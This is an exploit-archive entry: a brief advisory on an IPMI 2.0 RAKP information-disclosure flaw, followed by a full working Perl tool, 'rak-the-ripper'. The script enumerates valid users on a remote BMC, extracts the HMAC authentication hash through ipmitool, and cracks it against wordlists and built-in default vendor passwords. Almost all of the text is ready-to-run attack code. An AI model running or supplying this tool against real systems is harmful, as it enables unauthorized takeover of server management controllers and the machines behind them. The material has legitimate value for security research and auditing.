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source: https://www.securityfocus.com/bid/61076/info Intelligent Platform Management Interface is prone to an information-disclosure vulnerability. Attackers can exploit this issue to obtain sensitive information that may aid password guessing attacks. Intelligent Platform Management Interface 2.0 is vulnerable; other versions may also be affected. #!/usr/bin/env perl # #Usage: rak-the-ripper [options] target # # dan/zen@trouble.org - 6/19/2013 # # Special thanks to Jarrod B Johnson (<jbjohnso@us.ibm.com>), whose # implemention of RAKP for the xCAT project (http://xcat.sourceforge.net/) # was instrumental to furthering my understanding of the issue. # # # Remote IPMi password cracker; uses the RAKP 2 protocol to guess passwords # from a remote BMC.No account or information needed. # # Options: # #-d Debug... let it all out #-i inform... every N guesses print out a status-y line #-n num-guesses sets N for -i option -p/path/to/words Use a file of #passwords to guess, 1 per line -P password Use a specific password #-u/path/to/users Use a file of users to guess, 1 per line -U #specific-user Use a specific user, don't guess -v Verbose -version #Print version # # # Explanation: # # IPMI v2, when using the RAKP protocol, uses HMAC hashes for authentication # (see page 162 of the IPMI 2.0 spec for more details.) # # Three factors are of interest here: # #1) You can test if an account exists (RAKP will generate a recognizable error # if not.) #2) IPMI will return a (supposedly) globally unique number for a BMC. This is # a potentially really interesting thing - identity of a system on a network # is a very difficult problem.Unfortunately it looks like many vendors # don't implement this correctly... not sure if all 0's (a common value) # afects the strength of the HMAC, but...? #3) You get to extract the HMAC hash - and then run a password cracker on it. # Pretty interesting....! # # To start a RAKP session you can use the fine ipmitool utility (the "lanplus" # argument here forces IPMI 2.0): # # ipmitool -I lanplus -v -v -v -U ADMIN -P fluffy-wuffy -H 192.168.0.69 chassis identify # # This kicks off a back-n-forth sequence with a remote BMC; for instance, on my iMac, # it looks like this: # # client (iMac) BMC ------------- ---- 1 get channel auth # 2 response 3 RMCP+ open session request 4 open session # response 5 RAKP message 1 6 RAKP message 2 # # It's in step 6 that you get the HMAC hash needed to fill in the details. # Fortunately ipmitool gives you all you need. # # You may simply parse the verbose ipmitool output, which at one point will emit # something that looks like: # # >> rakp2 mac input buffer (63 bytes) #a4 a3 a2 a0 4c 7f fb df ec a4 a3 96 b1 d0 7e 27 cd ef 32 ae 66 cf #87 b9 aa 3e 97 ed 5d 39 77 4b bc 8a c5 a9 e2 da 1d d9 35 30 30 31 #4d 53 00 00 00 00 00 00 00 00 00 00 14 05 41 44 4d 49 4e # # these bytes are, in order, the session IDs of the remote console & managed system, # the remote console's random number, the managed system's random number, # the managed system's GUID, the priv level, the length of the user name, # and finally the user name. # # You simply take the HMAC of that and the password (or password guess!) # and compare it with the key exchange auth code that the BMC has sent you. # # <<Key exchange auth code [sha1] : 0xede8ec3caeb235dbad1210ef985b1b19cdb40496 # #Default Users: 'admin', 'USERID', 'root', 'Administrator', 'ADMIN' #Default Passwords: 'PASSW0RD', 'admin', 'calvin', 'changeme', 'opensource', 'password' use Time::HiRes; use IO::CaptureOutput qw/capture_exec/; use Digest::SHA qw(hmac_sha1_hex); use Getopt::Long qw(:config no_ignore_case); sub main::VERSION_MESSAGE { print "$0 0.0.1\n"; exit; }; sub main::HELP_MESSAGE { print "Usage: $0 [options] target\n". "\t-d\t\t\tDebug... print words as they're being guessed\n". "\t-i\t\t\tinform... every N guesses print out a status-y line\n". "\t-n num-guesses\t\tsets N for -i option\n". "\t-p /path/to/words\tUse a file of passwords to guess, 1 per line\n". "\t-P password\t\tUse a specific password \n". "\t-u /path/to/users\tUse a file of users to guess, 1 per line\n". "\t-U specific-user\tUse a specific user, don't guess\n". "\t-v\t\t\tVerbose\n". "\t-version\t\tPrint version #\n"; exit; }; GetOptions( 'd' => \$debug, 'h' => \$help, 'help' => \$help, 'i' => \$inform, 'inform' => \$inform, 'n=i' => \$Nguesses, 'p=s' => \$password_file, 'P=s' => \@guesses, 'u=s' => \$user_file, 'U=s' => \@users, 'v' => \$verbose, 'version' => \$version ) || die main::HELP_MESSAGE(); # # process command line arg stuff # die main::HELP_MESSAGE() if (defined($help)); # the target, specified on command line $target = $ARGV[0]; die main::HELP_MESSAGE() if ($target eq ""); # this can take awhile to finish... print "Started at " . <code>date</code> if $verbose; # anything > 0 and <= 20 characters would work here; ipmitool simply needs something $pass = "fluffy-wuffy-bunny!!"; # # Need some passwords to guess... either from file or some defaults I made up # Not going to cache these since they can blow up my poor mac's memory... feel # free to change it ;) # if (! defined(@guesses)) { if ($password_file ne "") { open(PASSWORDS, $password_file) || die "can't open user file $password_file\n"; print "opening password file $password_file\n" if $verbose; } else { print "using default passwords\n" if $verbose; @guesses = ('PASSW0RD', 'admin', 'calvin', 'changeme', 'opensource', 'password'); } } # # need to know account name... either from file or some defaults I made up # if (! defined(@users)) { if ($user_file ne "") { open(ACCOUNTS, $user_file) || die "can't open user file $user_file\n"; print "getting list of users from $user_file\n" if $verbose; @users = <ACCOUNTS>; chomp(@users); close(ACCOUNTS); } else { @users = ('admin', 'ADMIN', 'USERID', 'root', 'Administrator'); print "using default user list\n" if $verbose; } } # # a tiny subroutine to chow down on possible guesses # sub guesswork() { print "\t$guess...\n" if $debug; if ($inform) { print "\t$n guesses (so far)...\n" if (! ($n % $Nguesses)); } $guess_suffix = ""; $guess_suffix = "ses" if $n > 1; # $stuff = pack 'C*', map hex, @input; print # hmac_sha1_hex($stuff,$pass) . "\n"; print "... 0x" . # hmac_sha1_hex($stuff,$guess) . "\n"; if ("0x" . hmac_sha1_hex($stuff,$guess) eq $hashy) { print "...cracked in $n guess$guess_suffix...\n\nPassword for $user is $guess\n\n"; $cracked = 1; return 1; } $n++; return(0); } # # look for a user, any user... RAKP will gripe if it's not valid # for $user (@users) { print("\tprobing $target for $user...\n") if $verbose; # chassis id starts up the RP machinery @icmd = ("ipmitool", "-I", "lanplus", "-v","-v","-v","-v", "-U", "$user", "-P", "$pass", "-H", "$target", "chassis", "identify"); ($stdout, $stderr, $success, $exit) = capture_exec( @icmd ); # # grabbing two things - the input to calculate the hash, and the hash itself. # but first... hunt for a valid user on the BMC. # if ($stdout =~ /RMCP\+ status\s+:\s+unauthorized name/) { next; } elsif ($stdout =~ /RMCP\+ status\s+:\s+insufficient resources for session/) { print "interesting... insufficient resources... try again?\n" if $verbose; next; } elsif ($stdout =~ /^\s*$/) { next; } # kill the leading whitespace & newlines... hash is in stdout, input data in stderr $stderr =~ s/\n//gs; $stdout =~ s/\n//gs; $name_found = 1; print "Found valid user: $user\n" if $verbose; # after this, no need to continue with other users @users = (); # <<Key exchange auth code [sha1] : 0x6e5d0a121e13fa8f73bfc2da15f7b012382f6be9 ($hashy = $stdout) =~ m/^.*<< Key exchange auth code \[sha1\] : ([^\s]+).*$/m; $hashy = $1; if ($hashy eq "") { print "couldn't find an auth code, skipping\n"; next; } ($input = $stderr) =~ m/^.*>> rakp2 mac input buffer \(\d+ bytes\) ([^>]+)>>.*$/m; $input = $1; if ($input eq "") { print "couldn't find data to HMAC, skipping\n"; next; } # stuff it into binary form $stuff = pack 'C*', map hex, split(/ /, $input); print "... searching for HMAC match for $user ($hashy)\n" if $verbose; $n = 1; $cracked = 0; # curiosity ;) $start = Time::HiRes::gettimeofday(); if (! defined(@guesses)) { while (($guess = <PASSWORDS>)) { chomp($guess); break if guesswork(); } close(PASSWORDS); } else { for $guess (@guesses) { break if guesswork(); } } } die "\nno valid accounts found\n" unless $name_found; print "$n passwords were tried\n" if $verbose; $end = Time::HiRes::gettimeofday(); $time = $end - $start; if ($verbose && $time > 0) { printf("time elapsed was ~ %.2f\n", $end - $start); $per_second = $n / $time; print "$n passwords were guessed, at the rate of $per_second per second\n"; } |
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